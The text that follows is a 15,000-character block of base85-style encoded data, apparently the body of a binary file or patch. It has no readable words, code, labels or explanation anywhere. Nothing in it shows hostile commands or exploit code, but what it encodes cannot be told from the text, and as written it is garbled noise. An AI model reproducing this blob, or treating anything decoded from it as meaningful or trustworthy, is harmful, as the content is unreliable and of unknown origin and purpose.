zUXcPlBFpras6sLc)=BSm1tzK`5KD-+dzaa&dO^z>?)M?-+%lMp>gNws5yza1e1fx-{JxS)iJV6=l^~Ch4qD zh!$oYz!1j^bTHQ%!VC6Zv6pFwL_jli6mk9*Z3J56K^r#nW$l|7r^N*JDAZD8l$b)R zPzz8(O`bwYD)XLDLUtIfJu{@Arz@*Me4jt}=^NWF?Vuq6Rx4a1xW!Jxv3Tk%XeoA| z#7uAy3&D}WqHw@I#alqU<{ti z;bKQf2k@IDlNNiGnnnYrNB|*Yy@f)%>vo2mokHBT$N-GjdAh(?^gv}YseRFfMaEUS z2*z^x+PX5C$PP*I6|TNhQMZY`KJ>*zhQd_qDov~v&?#17H!$}Ykx1KM6(fn)2urpg z{2pnz4T!(k{2LGxcNS9Dd)0^ddcwXI4#LXlxmwc4$+AnfIb(SH_~$yxxJE~mc0+%h z7iopMTm91ucmeeEUDfX=-_Bb6e)7C$#}zKVF?7%hCN8StO05KoETFNw&=1Wo1${@9 z$4Q;OgpN6WHIAtB3H@?WUZxadsKD|=9`gPAty*W_x`bDjE8Eo@f4DCrvq*f2$9O>x zrFud?;~m;=9+`d#$W=NJ%q|2?hl{RpLf=ie?mk zcCHp6f@LTMvpcXY&o8#3){!S{p0G%H^&NL31RS7=v^dZd7G3t75%)ZMpj_0FtLLPn z!un*xIOKgiNtr0*pmn6JT?umaQ{v}JkOM2}x}ZoP`cyRFTN;8l*?D!$tcJpK{TC^c z_(-uvoKw<#W$m-60WVX`v(Den*+JOtN`LknOxVoImNb2b32m&DAna6s={%6ZA9klj z?Z+SibaApAFm*!;C&IWoB8v@k$C>jat+D2iA6Xa!We(M&g~NDn;=y7`-fDafo$$Bt ztZTkABjpa1Lv4gi$`yq|sX~S_xO@hM1(R`!;{lk?u=>P9&MKqiVEs+|r7bPcES2Vo zp_mM$>Ksq{)oV-vQg3;vD>2Xc)EXjO15W`GM-Du~gEmQsLJH>%VOwgaicwY8o+1YB z3>8Y)YZF^HHohxwr%)a`0O2a4VV})4k4HBf;3a{*0HuRqD>0Q`@?dO$7ixaYfGRvpW-Q`fY}NkYB?rY zU@nQa47~EjHis$(s;utW8QK(WI1aQA2->T7vEBq-^{!u^C`SUG~sO9BIN6jtO51VU2b;C*~xv>i_t^&G>T{_t`ZUQVtH^8ABB zl~0S=ClN-`LUT53s-kyz@c;CQg&8*Rvy17A?qzfuH1_%_Xq5Mita${j@4}3uPQF$p z<5qrL{8nECCwU{}UsBdz4aBYL9e?(J{ptUv!>7SZLIAb8RCI)J=nce#Ag=qgTrloV zM7gWGB0Y!=t&^;JH-Tsw<#OzreCP(o%?RMua#*Wl&!D5>pfc;jyH#biWq?S9K${^I z{pOqYT1>~I325gMEK!=`g2q>+6JQGw!x2>wfKC;h9r76Csjo!25}p*m`OsMO5(zhf zx4ml9es;k#CgJUsZcI{I4kwh3o6^DwwUL3Sap`16#cyH^!P&hU)_yA=+NV>;n1yr# zIv>I-+`mDbJ>WHg1&6kGPd5$JxqBxhgfA||i82?jjB)+vq~-Z~B% zolu@wHb3Lxn^+bnN}D;w7IcEFAuzxV7hN=3+#`|_;j_O1yzn4^GtTWoq6YS@BQbe& zHnmu5Tw(&fC$R|*QcQ9(?qRU^uYh|&9tuz{xRglxqSNW$W_3_E_o0hK_t4M+9JJw~ zjPPPE>Xv64==dT1`gA7juxNYn)V<8ov&hv)FDiux%_vcxoLN6it}vf6x_^VNSUd_aXuo3y<%e49@sk3L%qrsoQ5jVS5&R&IW^S0hoBwmcRLXNwYPTZe6DH;AeIes^Oq}1cBZ8ToFXAp4-FW6v<#c#4!eFX{=|E6}Qjd4g}k#?JV?x`==61gbL$GfDM@o%}p+ zNZVu#M_|XUssY7#fVN;jo*blas%nT`V>;Nhu%097K;|FQV&o@EZDJ8)(E~7Gq!z7d zZi=o-K`P)P^sRRK)%ZJj(wvOoOIPo4@!~~dm99%oI4Q(Uh8Vaci-Vvu^EHdsHMbfZ zO1w=2=i>MQ+9*_JqR+@^7%I-OpUcH?K`IB>hG1GmXC(H{=nCdDSv z-^YL8_D~0I6SJsD8etT@irBR@sA8!9c1HchrNMBdGmYXuovK~m>U4Vx&1HSIZe@A< zhHvS>Z6YaX4G5xQprfV+U{gT`hz?Qq0$93TnN|#n#im<80#&Kkk)4eM4O^>1!_O^&+cSuK6qL2=@i9$Li z7Vt%thFLQ)LVn3rK}RMMrM!tqIIOSELUfprED^K`QBti)L}@DV4yCd{2pqH3+XDRJ zf)=riTk%)MO8lDM-0txNb6H-Zmv=U_iKoep)U$c;PKkC)yKMX}>F0nY8~=0HAf?H( zhDXDIxFw#z&Nnk4nfu-9y$LE*i}($|HoN(4$u8JQ6GzdkS`ggLZZ2~v{G~ul-JOk6wIgdu0IjE~h;}G%vIzqe<|8YYB@GrKy%NOt7T5gQKH9 znv9)Jp&c^dd+30djw;iOPaXHy;}WQ#A*r8f@u3j5#}fn-$R&v=FHAQ6LkUXtLm3DS zSFVeARh-D21*O+|h@O&m-2t@;3sVi99u^xW#h@y*FEcfLJT@88p1s|UtVe(pY#9=KjdQRVxufTB*g8@d8<$~HT6CyTxV;dS z`N`;%AmE;G8xo0}jBvxDGf_vf?k%hbdOpk35%mIru&TBHD4>G^A;E$ zq1Hf9JIbBGA7$(}5DbP;Io^n;rzhkR`&QR*XL_Y=f^g@vyt_Kk=A#Ygl0n@S>y6f+3WNhH8<>Oa?4l1R|* z;hUYo>+OhT74FlPnj#}p7)FszGQs(1_K_6JB9c5qF_O3pE(l+~{W zrEg>paQSWHd&>m)1E0g)}&nAnqpR-yndbTWT(K=8Yz`>7i}v zD*#F~pTWmhvlUb?M$6TcIQ0-YIKfUtLY|=1XJ&sHfAP4ULn!iL zA{=pmA!U>uO|&xxf|OfMRLC<;_Q*<5Atte?a77+BYU72D%{@`!O0gz1b{yj;Vr z)eH#^BIaRJJ%F(#sM?f-VbqY!_;=y)_gmvxW~`DzmFo7uT1dzezscm3#J<2SDc|fx zrASimPQMnZ#lj;S6}d5pT)xo+J=~|GMvIlhN3-uN2R4C+u9YnoPLa1^(Z@@VWi737 zV02-dCTGDk?MHpje{>iZ`_dHxWTK^8_DgH-nh(~6&w0*zTQ~hnx{9`xAxE*!HHtk z-p6%T0uC>g(IQ_a!c=8kM&L3cR7R<<#+B6&{_D`tF0FBSvLdXr*2s2cv_?1+NuLnz zusBexT=F^V+%DxIs-5bCD5%GxnQnx75D(+v%3w-5`ijCz$NJ_RPQKB!j#l3{e!V>$ zq9GorZ;byC?;aFTm{0@UXnK4gqbKgo>oj3`c$f|3UL03H?N#Mr?h)NxQJG}T_97uFEOPKO@s;tu$Y3+tcAFU7(#v!QY;VA zAu({o_n>_U4Sk94Y)`B8rK%%ciN{z2F$Us9u;f^HjtFamhbP+L$=l$`)m)heGs{EKrYUi; zyoO8NW@`+7NqfdgA-kJ+Z9Nk6 zS}_cDvW&158O{r{Sg5cjrl<)r!(5&M*3t@U7y6(Mv*dE2qb}HmzG4@;lDZ%huWdp% zDu=7nPli0#2|lbRG&J;QeJp5=d!w{iAp#GPO;;DywH-(kg=;*q+$l6)2RNkaFt$E( z4K)H9fJcwt(3@uBiYPKJy`E?#qZ`%|j{uZ81D?`asLE*y(8U?-K4oZp6H(3M48CE` zARlX!3ta41mCu1>BL5NBX5e|w#b~@=&z3-gdX^9{nQju{jd{f~` zYB*ljKE}C%oX!S>sMfq$hQadeF+kMHEyVEKb03_-w;awV6`CpFv7+*b!;Dx`HHv4| z?I1tVw}t^Q>l(xDEZe=;GI$yr55)lB976Q8x?R&lze_xHxZ7fQKG7rYss1#a-aT{Z{t9$Z-F2Zv3l^s6SU-Fz# zO4DMZ(m1822$|s%@d{+@NGo^V&)53uiRr~-eq3oMGY~&x%SXFr(2_C7C~>u&m=VgA z!@hJVb?}Kaa@fHjZF=J)oH5mJuyAb_2Q#b@fM?F~BUs#TcxL%ruz?A96AU%+)GN9m z0}P~^anU`xuu+_!rpgG;z$iqM$Dx$Mu5|q0JZ#9Jse$l7k)6Kah9B4%#0=GWoqa(- zq57%cm2CSC8=xJBq*r~Cz%$CyOU%TF^*~^!+-06Q;Z$p5wQU?+?2C&nc zQntC;w?Yh7PNph_K>-F;S(8UqTnIdnphHZ+L)dp&Xy^4hd~|R}9S)dzuf!2&6|cOS zjhJN}C1!!46qoN?oR+-9RgM5UsDAJo(s_bC)&cb2-$67WvC!&R2`&&88o{QyGN5KR z`atKY%;sW;>S76(>VOR2IB5Zof+Co_C}MCSK<$JiSw(0Df7f5?uZ0wp*9Y+@cMs&J z(()*$69OW%a{6Y1E*i$%nv*oXSD8xR+H+e@H)?J0cD)aW_$$Oil}ZgTB3|?kcl{O0 z3Rp@DG$>CDP(BllO$yccHEhQ6eK!!(?Td|;s#zTXAn>y#9fR19wgI7q!FE+FAIG{9 zQAlkNG~^p$KS8x3zvWYK>mBAW09IbVa51RFWwi`kdYD(JCDtIcwYY}e-z>P4ne@fL z}RcDi=+n4i`U z=C|jqJ#nW~;|}>Sv4<;g!MzE4i0{KE!H-ZK*-nlpo;6y`Pw^LtEllc}vT(o!W!c?6 z9XeZlr$hI{m!sW63+)u*4LCY(iBqqEBe?`M+7X;!W3|yv^b&yqp`C^)aEiUiQ#;at z`0wJyhbaB45U-Urd#2c+dhy~Ti8h7G3*GdxB+MS7JiuY_))v$V)20XV0*urIesGqu zKvLBm-IQx`C|RWpR2p)0^JD#N=|Wz|?*@wBc}c6?dNqUqY@7TX3S{QuB=(r*hBg4k zVyil`{})j)CUbW46}_D!_#SxdyUv$O5i-&S!S??uD_W?_5A0wK!;fvDl?xB-96=!R zdn}Gw_W7Opw>fCp;Wt*<4re*?Ad%i9IQzJ?GrT@YlJ>uyJ9qvLQKEYpM+OAYCRx3` z0!T9MvwY`XShGV*;RlGTacAeSqhm6LfGLpHj$)m)t86)eAt!LxOp16(r@H_$MYt{3*7s%6Y3lS=T%RWfpScl7Xb#H#urBT$$4#BKo(yCJ@RiI&$#Yh>6Y0 zsxC?yF~~~(st$-r6u^jiCC3SjT*eY(4%MUDs!AAHE~z$7>U)*Wc{|(r@6)6tpUtFPLaBciu#wz92Spf90<1gM%@E0x8JK`bH^nn)gq8316Mdwl* zdy%5Mu(y?|M8!j;diMrDn3D^MyT-|icyUQSVu!f|C`Cvg)Oizl_3b@WFgbf*vI1kF z8XN*2M-8V7p|Wi-EPf!BhLA15^_H?ql7zq>H_u|c*!(l&0Ux+H6bECr6}u@A~+0T~~u z!l~l2MYbcZJQW6s+BlRP_2W%}topx`?d2>@6v)*oiSNj@wFHPrb6|2-HzORjP)EfV z)E~3e`9est+C78B%ULyEMCZebrzK_}z!K+x#2h>iwEqDUa%Wl?xpWM zUy{E~?;UxM%Ozp;U`IYMT*{@+Lx+|(w9Wml?Q*1_%R3ti8Udme{T%OX$VIrhU9Rfq zzMT!#u{pS1uIcCc&IYas{MO}u{XDR1M`zLSS+lln7zB0dye6ht}A}u2-eE6+JmXrSxgP zL!>|8up^F7lTG%IxGCfZfl}X_J3_DKrV9CNGVvJ9WC?VpiO>-@(J5L|681g7S}PB;$|{*RH=Z* z`_*@Oi}I4Zh>HPxzMn-QsS{B+q9f64HD*o5qv+Xr4N53(@1%ch1fKno|b)7Nq59 zMr-AV+{xs+DxF+U!%>eGyr36eVR)T#9U%kFl*RF+Q>~mYU6RcKZ+2fKMFHm(w=YLu zS8Uv`)jS|9IKYf)Au9DM8c}=Pw0&a~QRqt91S{3x?!&;cug`L=>I%&^q(OGcYM}8x zi-Q|)O%S}ENhD|PM@U5r#rTrYUEKOQrWq`iUdJt7y2^`8NGjoeZkU&j#YfPmwt_S>DSPJcxQv|}lJTIPW12~^LTPE! zWHMQ+8v68irizwm!Bo|Vgr z53jUx+(+#k_mN^k)en&L&OdPgxxyism06CvaY&dWST$aI4-WjPcdyoPoC?mf+zIBb z!>WuNS3vp}(y3tgj|tA<))+}IEby%BK_lcj z3=SbIJ}U$!Z3jc{kMr1c26JO=tOZ=ByPLIdj}sF0D1O4{OY1O)w6Sc?zYq3Xvt1bN zb)s+#?8$yOz!--az%+&_EK%Y|lY*WU<&_N5=lGV&+dRsHcS(I;K~|O0jaRH2moNlW z*#U?;s&??fpeF@`76q=#mnE^Wj9lD@bqYC%AWoJWtY!(;pLBzpENT#-+JYNxPH9l6 zH>P+n>rOj7C@KUbYgI?mD#s&a7=ksiszG`IR3B);_ZGHN zaxBr48{3l+0AS`rB_jYq@+I)5Da^d0$=3B6xGbthI2%er$SR$z#*SB%i{ST09Vxji zjbL#C{#5%^uIKTmo8RiZ2k=KbJ$-Viequr?=V84ZD3XA_S@6YATo0o1v@nikt+5Ve zehe^Ba#q|k0{eR9>|QS!IDY#?o}*2#@F^e5Rh-g}qbI_fXkt)2k@m-`nl>z+sNLHu z#S@V{p*3w3)Va!;E9>BO;meWoK#W41bb}k^SmZM<4xrcY?27m|QcpwRj&dRn1eKB* zxm6y3AbA{ZM}GMyqFUo>DoNB5yFQ@&J*KNBqz21Nf{Tf-HRMWARREwLb~bO(mS~`9 zWfbR52M?XLB32;?X+SGl4jOoRv43(s$j%ft*>_i-I(_jGHrpkChgn`I^ed@bOar7TZcB#ibVzyC5)7x}e|O!mAk0BQV`$^2eC#m=#R8B^R#=KH>L02^EuJrU8?}Xt;`8SU#*4+!sp5!6Y9>VEK zQ|LF^!($wSJMmfV^0hD`(rKp)eJiFIyG>{7EbN~4G~TVJkh>v01$6~IMPXiPd$(GC zdLniWds1hSUbX0crDV4N(eCzo{6CQgZG>Fr@x8mHqgJ=h?HN_qtJ_(96O$gSVtcul zrfCPgR^|%JEd?nZ{{hlUO3(zvN+&l7>DtVlGZ~AtIL@H#8Dj+y&K!RDd-;_s^jjhf zs8JxRQUzSDDzzeOWF+Dcw0=uk8LxGqrv@3MALl;Q`tmU`^e{d(GDdZQoJn4`a8@D` zjPB#k4ig3TF;?M1La^OpsW32m7$S$gD z@cqdx{A-chlS2b|avKw#{J6+X)bgZYGNK&%HejAQzrUvjaXq!&-%}q~e*t(@4Z49{ z?=~);WCB><4*Np9>O%2!OBV&qt}UL(JB$Dxb!~C|pj^|f4IAt@)si#CasHg2+-deR zImtEn!Cgpxf~j9^ZF2He;XJsbSgt;Wsd^2cpXT$RnxWb2YDdqxI^EhY6bS?aO9+4J|WD$Q|Y?)uCypX#xr;wf>Gn5{`3v^B}YR=G6T@`M)S2n$L?!W;QfA&L{Rnk(V86GH+4>9E5L z2=hIa5XGqa{1}(q7l`mGTrvOreO?NzbF=td9iEcmXZfQLBNy4kvio>uh*vHKXFZH>% z35G_nD%sOA!wxc93u^8FMjTDI;j|L^ep%WZ;D(wir6fW#pHbTbJD5C;xm>GhU}a2a zQ#{SOB)6tUM)IP2xjo;ckb{?YuP`YJUYHpaJfqeorv|c9D5PYoMNQt!Ej|*6w@&px z)FjBjau@~NNY>hvs^KN@#T8@^#7Y1Z2k@MVN;ook&o-u>)}b1*&3GOhsS{-IeK9Z#UUrijGQ2Ih>q=fzX8caH?k$=?i%vkJ|{M4Xk!fxABa9yrSH2E)#Q-$we==i z0xOD5mLiQRc8ItcNQnY+td!KWw0o@-uQGujuH=C&BuRZA9PNqAX~p(tBRjW1RjJ)`;omjs`z zi)HmrzZY|bXmZ`aPbxu{AOZBSI&&*sBe+l0a zdjk2+oZIFSK%sZ7gd$1cIV3g8Pm$pxIclzYNO~DjH?CuQmRJ*VB5<&3{fuzH5kR}vMA0z#i$Xvm06-zW6W&fKr>OKec`$Vv^{VDy z;G>GD7V>7)oJ~C%f7|2+Ks5qLHwgC=$u+qo^T`cDxf@^@+~aa_Lw$L`foF$E#n6yI z?Yqm-;mILZ8`X+pfHY=k>n7`Rj(9zT0kst!6*{dI9c?6J;egKM7KUa;=eDaT zIwL7M@Pq%~6djy?q~O5rimybdi{&Y9aj1*WZE)_k;+DM?ot0q4@`tl@a2kc+2D~%c zt>~;w+KSE!;Vu-NWft--X*n$3{(=*1Zitg;Yl5!qf1g8lgT~c5#nMpYt;#=*Q7re8 zB+2sB7WmVOweiQhQ)?WR1mq>1CzE|xb3FNF8jt`S)FB^v7%w=&atzLB@Id;4NDy{xyl zs5eb@&;H~TzrC2i_?YSythw!%F~r0eXEWVxE6(%E2!L+YmQpQ;TmA`$RS#OnnexAV zHT)i{EA9ZA{Ns)Z)XFG9n&Oz~2DXKwB$_yYVa=#v`As%f? z9-ats711$xr}nx_cR)cB21&zn%A&n`yEF_acPv<11sheb@Zo@C&Nzdc;wqE!X3snd z6-)HUo0~(&59tr1LR8g zjN9?b)xH@dgRF#D|Gn)5Vbzs3f~LA&9KpMVmi&ZJoYtr3E044nj;)kN#zt4F^&}%Z zKI`HMalY~sq#b=V`l;k4xV{>B8&3{|w_j!&IM;G3c!EkA!`>Z$mjCZ$o9eGZ3k}CP z>4mrVZ!gD|A!nalKn}_FWSp?!*SenYB_jShX?xdAu2t2}Cvr*Q80qMQH~H{hq6jB( zL9zJ({x2%a!rPxT)9NT`GgUz}mnY5UvWzEGbX{j6%-;x(vz)z5?YX!`;pwgn0Q>vM zBja(w@un7UX%7L$+oq$(Gz8O8C;YyhIJ7eGQFZtZqm%HlheLj2reV(YjCVrca$Q_) zdndr6ZSQu-cfNFo{Kjmv?bW-rLw?$=r3D)ea~e?jX91xsztyj6JSgAn%UTsHUjQGi9ow%HFh#*wI>L~>M)v5h6-#KsQ9#8 z_x6A;6|qOTj9kR`9>~@rU7RX^qvc36|8M!(gxr ziSeRFv2j~*DE3E1#y=znLA*+dqs^A1A+)=Ip@17wB)gxSNM2pb(P?Wop^v`xA#dkm zD>Zw<)nj}Uta-B}x!xt+;1GTLp(#bB6(Coi>UjRIgPDkK_H`qwNWfb7SP`>V z;(;oD0SvxhJ@J5}q)C}Mr@*`d%1la~+E#1)*c zeK}wIa=!NEeC^Bm+PCwy|0OtI4=Mfb5Dm!rs-?mv>B%NJr2pop-_^I~rQg-J_DH|$ z6_f>G376!0U8X$G)b%QiB7eN)dUf4FZFLp-2!WO@wXOkqce!4B&NMIByRb-at)FmEm@ukOhKSyT3p@iXx#*hVDmU zFYnt_i_n_gd`hBcw1up4rN#5+5JhDHUc*ix{%OOH8I5U<7GXk`3~;O8&-jf7)ge0> zS^{&K`fBGwA*5wL0Ktd>rnSJSd*ks>Yge$q$Ih}q20R!(bxRuynwi!Pq=?fW)%I&z z$Di!ML9h#Ou?uX@{9_-WsAO%HL4?UNB$Sd@tt$JCsrl*pAW)N21db<%Dt2rEAc}@C zXKpJDHjL8Ix&<&U>ng8E5?5CZQ0+)k0xq2bgO9P@PicGXtUH?hX7(Hg>#rYi-3Ayp zmC-WkPTc+|&pxwx_WiR5-k-_nNVa+{Yf%hX$FW$N|XnR+@JXkMn?!tP8xihQ(j zke%M(U{f6Mv^MIks1^d-m4zt_;FFh_1?iNyRh&3^*JRnBpadG?a^pEhFaU_99F`E!5(P(vkQ0_APKiJO zE>2~iQp{B62>B&KoE2iHvNN|tLqTQCeIe!^`(5|9X1*Wc%o!8=o4K}U4Fc|-b)qvo z>UP;sKz6tavDZ8D*2CE-*LpcF*7VDwSBP+sDX+4w^(KQ_V3Mw5&YTp`(=M6I@R7K= zB`%NH{{kSQm^WJxip49#h@?lVDDR%NxEBHD+_z8wRPbTW_8yw#=B&~;+*tUeUFf`X z^OiWwQPsmqU=hL6k8*>2Ob|l)Amqb0>PBG9uyu!l^CGhqOVyM?8+?*j? zRoE3Q^fGpZYxI%t69qEwzYe=Xb_1{aNCPEav8CrnRXa9HWwX^@Q>UVSYAA+1xhSQ}11kStk{gKE(rb5KoN&rb?Z z8(WK_u#72eEiRt|jj*AFJuW5%Oxc&E{p}NN>4YD4WDu;Esd;tmSRVX%mlKs^UBGzp z$7Mi@3ULO@0|wEnvh(*>>HR)$XC%g~4ia-wzQgV9?*e_!VH=?n428xu=t83+&9#A? z>PfdWs`<%_)VS4Fq9qBmL9J2gY}RG416{kp54PcG?T!eK4o_h8IV6b!wi=pA7Hx8iNddQPm7uqoe=@GM8D1Mu*xPpyCKlzMz7kMmenN zGZJYO>%}2HzMiEWy~^P}dUdG@@x=(jlQw%y<=zJNq>Z#@V0mTqZ_BQyO?4zvrllg1bKUMxks4CSC7`T=CYJ+XAuqkF zOM0ep%`(2RuM2=0jVYE7scEW7U1ZPq%A_?_+vrTSGAF*jnxOR&)!~``{RK#`Z)1Jy zlM)~0iU*%3jZkILyhpnq3ID=Dc3B^+I)o(6P}rKSD*d*XQGf2Kx3A91Md!zpr{EN1 z*f}*LVKUYktCxGu=1rT1%x0w$xaQJ11Ia1E>ufISLBOM;UY2;4$}JR`1gO4pz!;z+ ziSzVWCs~Z&7pddYgl;;IffEq-qWJ3ART=nD_Q|};wj&VPMlq9i+2=c)@Q;v^= ziE{8sE>A?{T52_}fmXeC+HiV<7p-!vFRwC+H@WfvZ6y@6`e1iM<~{Be??C_rlIqM4 z{P0aw1m>*riz!6~Dwp%ug@LXRYly8rOuI(#cvD$VDsRk~Q>Q)UXy-8gSKpiOztD}{ zd#^+RTWq+$^b#oPAsIh>zBtw5vAAl)?1et>QG;pa5|9<-%?g`G-J^q|{E%R;!;vtr zc$ZgB#F6V=N(ds)F5pITouzH5Tg>09r5w$7QR+;+QDd6-FD1_cg3M@@ubhS^bydIg zdi6_=*yj2Sv654Y+Ugtq^?8IR$65d}lx~%a_c5-hI?R6CngpRR*>XU+_Wi5vU@ts! zmLK8~a9k0NH+rLVtI#(#eH^un(r@V@EJI0jA44YLj*UweR5>05`k{$gPmP1tJ?(bT z3KiwDWKk*D)=!oGeE^MF~Fm+YLpsf=2HHAN5!6h4Di5FBLrL_cMRhf`< z`lrpa~ibJZ%{cQAWkl6d|0-Ybj-#woelTY9|Yun2|k*=)Y zxch&L@pCj+H7MuU=dgfaHI<)Ir>&IyNzZ(y(+<0TRb!+(J{KVog@xeCmvSSND5!jBn4l_|CL$-Xm>}|#gOWhQ2bFLk9d+R*V*9{=OG-W z4URp?#{Vtb7*e~Q;T(mB7Z-NuyK;p8)fep$?uaD~E$OKm8iq zi5C=5(-1T&A&}r@CI$}bd-_x=_AOj$Zee>oKj7z%CC%RlgV}~eka{xv>AK{lCD7&* zE;NDE&NLM(b zMfLK5@%60!H2TE^{w(SMRgk-kko{e<5ttBI$OS;1jen&(+|=~CGS9rCIUr?4!Jp=u zb>JRn)$0b1hR)Z;6oyZb>8xvR>iykesfGM=7!@lVPa_JoeyF6q>O=J<#C0+~JyaeC z{AJ(nH{{9!3$kyA0#D6eubNs&{9niInonfEPCH@Whx2$W2 z!@SP;-r-+Q*N!kGR%nvuI4g?0`V5Yxh4b?a@!{fS|GUyyXCW9%O1tfU6csy25h$iX z8H~eB&!1`iNtIK=OkdJl%%|OtzCVV(jy(Rib{1&)xy(v`GX2T*r=vez{psn?g8uaN zXHkEa^k<+yL;V@)&$9lk0FL3Q%l=1=oF`E3>fp}vc7`jL{cmploX4^pX?5KeE9>}s?N^#&b>Q>gtX+H zVZp+-|Ly#AO4WuGeRGl)AVK?{zU%&B;nchv8$!`}Hx6O6=Rl+67%wz?T=@^sJifZ{ zD43;*IYO9qsTB}c?taMhIC2~R(gTm^yuiitIxA>}&Aqy;cACr72I@R;zcxui-m1wW z(3Wrn1q;Nu(ifoGQWJGc)!+4{`rplQ3UQnd(_P3haopfuD9_jXXgYZ1$5J2F#x0%- zwyWc_GSjx|O_!)$TUuKPzUWY26$ZuRHef>?$zsh05v;*53MLQllK_D&BDwxkKD?eW zBDi3>d^7)(tVDb3RUefQ3GO+5NnT6V>Q;>KygE)QArq$f*+ti&rEPNg(Cm4BSfWg0 z(N#ag5knWGS+mEt>jLF~?qxoTc!88c9mb6sYrnG8FpwILi6lm)BbsCx0j<3osVFiQ z&1kyw+NleNjpf!u3ZQQ%`r;%XbY!3OzBwWfo1S_a^HSX%KN#~;jCmAeraL7)=oW!R%M1#ZX#8)x#DCRU)4uQV7TF2hTcf-aQsO*& zjc%=Os|d&g?c1p$l2>2lzbAnF2$h$;q-iaw!N+ZUI)rGqC)ZSzGprILh>fy)!#2b3 zrQPmwT21T^Yb)b+U)h1LVO{Hq3s%2T<+gARGG=`4byGs%XbZxjG5Sc0{l*kv$ep;1XKzt; zxX1slt4$EipuLm>ma;u)EonKZ2Td>$cT@~oYk0+=^?+{78#aM6Zq0^G$hdBdVb`tI z!(L+8YxS^oryjOSraw&mB@NpN1n1B{I1WS&^bSv_o9H3X8xZGIw@ZigNIDMQi(bZCQ8}98SRRTLlO+TAH?dl|4SX*KJ z>W-=X82f$k@i7p2KW3=JAny=gM7>Ea`yWz3wA*awb;Ef3)QvMQfE`&7nyd!V9r!T8@BeYadg#K}Ha?Hhr(!nzqBtT8qu^3)RQOK@A(>zkq^g zuO2%A(dt%tyeVK9!+$!x)n3!;Ryo11+G8_*y9|i1%3fV?=@(v32Q1IDVW_)lSTlSa z&DOa;9DKn7Uvu~2fn1NQ28G3tS4d#m^J<@)q?*`Xtio;ai)8% zeN!L@Vg=P7GOE+M<;$2WFODk<%m=cN3zrW&KBUHrvCaI0j{yv05GVj4YB1KxaLw7wJ4yOu)zr77Jy$TjZ*4Ggsjqc8C_vjZhxtWFS$M~dtG1?aH5-xZ)*=Iq^H+s;L+V!;jKiw| zmSBm%imuau6*x@&CTipA{o8AT-r(6p+yiq=XW1|z5jDTq;WAW4s{RYHpCc@)*TQx4 zl)ac5Cn^HSfDN~y9_0}51uU^cL>5k8d}ZhM?72+jb;Qo@<#}`S*~D0w>W>qyORL~= zpbb;8FF{_~>8&Y_&6zlWuhEG&t~&AE%h&*Z&cq4AU*0vUANYo?*qEg*go?02ADUjP zP1XMZXut+;%3Q@08xiO z@Ye($b$3xm4bcW{O;<*oAVg74?Ic7ygu|#>V~YU70|_FiD<9%vZ;v?EJY1R1riGNE z^%;%1i^oZ0j4DW%k2ae!Fg!wN5G)?5)+&=^+IY1jN71NpbJ^=G#M~^pB=LZhP0-^{ z|D(LyIuM+9^#pEtVPSVm?k`ob;&c@uyo-v`?okxWxFZ#|TxKuLL@p7Ab&Wc-Hb#U+ zzWs0J1K++-AK(5zyVMg1-4MGe9 zm05S>m&QiG5)oFCsn!%fjZ)egn8L1n7?(Im1#Bk|rIEUl{((w7a+V)*n>U#-L4?kN zL8u9N8yP5~gJwV(^-j^YorvJaPUR0lKy4E3bz^if7>9 zS5*yhK>V4RqCnFH@dYYi)E8K$gCNkmFc|B}>Z4wdU$Ho<7esD7rr%nS-PyOXAV6K> zfETqO3AC%Z;zHlu->-JRXn(x(CHEJYd9Y-abtsBdE#o80aB%$3@~?E?fi*2ahTFLY zB!hb#6N_33;;iY+C#lIOo|ROWIAs;*t)0yr{Q2msUBIAQ{qsM-mbTYYXr^MTg?y$5 z^y}iqH<}%R-XQ2(nn(uPxl^2+rwg}GE#vGI1jOlyAQLn*{_PCzQQ^0Epjfy+5)=u^ z%7-qlLaA?-*$@6a*%pD{=uH@KpiS9b9Xmto5t^_<{;5nJHM+(uzl)GLII*A$x^F4wMU3&-w~PxVJ?JIKK{2Vv?$AuIhq+Y zZef?vG;30ym?s#h^o_4XmgpppL>3hfceqZ;aUgV`hH`nUBls8v!8v=Ubw%NV%N`*V z-F~7vQG1ibPe-+`BUIJ(Qx z8W#wDK7){ngCQ+x0l*6}AuEmY9OmoY{wNXOsT9pvnHCC9zP*udlgi3^&K1NT< zR9lK`_zit9PLd@%16|=zisn0@CsJ2pm?V*w(PbFj*)URuk;;;g!ZCVuDbedJA}>e@ z*K&$|I64mJz8@x{<#4He$d;Km=*ICZ0BmWrj0zO;xPT0P$MU$4JjO2r3JbZ!>ql!^ zGaK`ueXVKL#b6PJnD$x*kWbkHyt6ry`HfO=g2vfba5Ig6|MyDR-yDq>G$U6`2mcLC zTLQ3L2YsFtI&N0d_wi)oIno#8cLNK%CCm{G!8gi|k(3t?mR)cYAD9t|_d0SgIU53{ z(5|ownrqxjgqQ6sptrVL3HoAHIYPh%eZ_xIG3M9&s19mBwLN};wUY_hje3rsQ2L2& zFD82u6-V(1N$z%xOmk$dk(?U-hg9gipq}qk}vnk&c!9!o}Rj*G4OsL1hEV~MP2}ngw^bO`f$!pvf5q+{|=J>DN zXO~9@QB!BpLGWnia+5ql;d1^AZP&^kt2T>YO7kO+N^FYjPI#EbD+PM%hDtt}hAk!L z@cDVPkdVv|P&APdbdBIKoifr1-yoey39@6l|M%WpQNByt4M+ z(UyIB`0>!kjE8dE&AhU(GMFehpP-fHIIoDM=fB;o_hq&M%*h~Y{N)Bz4+)b@y0;!x?LWm;S%u++XYVwPZ7j9WGr zss;erc4oHZpi*TRx9}-Dm78xUE#=}P5}_ph@Y2PL4oPdxVeTRMhn7cWiUjoqu_Szp zvIW5|C>oAoi(6#yix_kcuUTba)C_L}tMVikX&{@+36xHlIZk z0wDYq_QWti>}eJZJ+T*Mu6?4b%8`(L;>YZ8QnsD#6Gpxwe(Y9(?*nBn@#dtykdDiwR&~P~VqO#V?_p@*r*rsz0 zl~yTG;@*BJMZ1YlO0!12a`!I0(aEih>BN_dxOieSmBVmLE9>za9SoNw8wqIsec|#V*-u zVr`-xzhFLZFwjjRfd$Nu6dYBp#s@C@0*Xp8uq6hh$cqRclK^PUsYz*yy)u=}(HU&%C`m9>nCB^A!XB}FY zyX2vINo9hIeEl(GR<)6dd;}J>AVM500~PfWd5MGnoRLHt3VfHLxO1twnFn%pq;z3+ zuYMeyr?*{#2Ozp8kdRQEDo}`%OLmvw0R${i%sFUW-*$f_^JT-k~LwGPAQ~}gH z1_TST>~kOLswt?RYiAadYZX-2FBMc*zQ4vuwh|vs$ZHC!=eA9GP6gF3dkz)_zrN_n 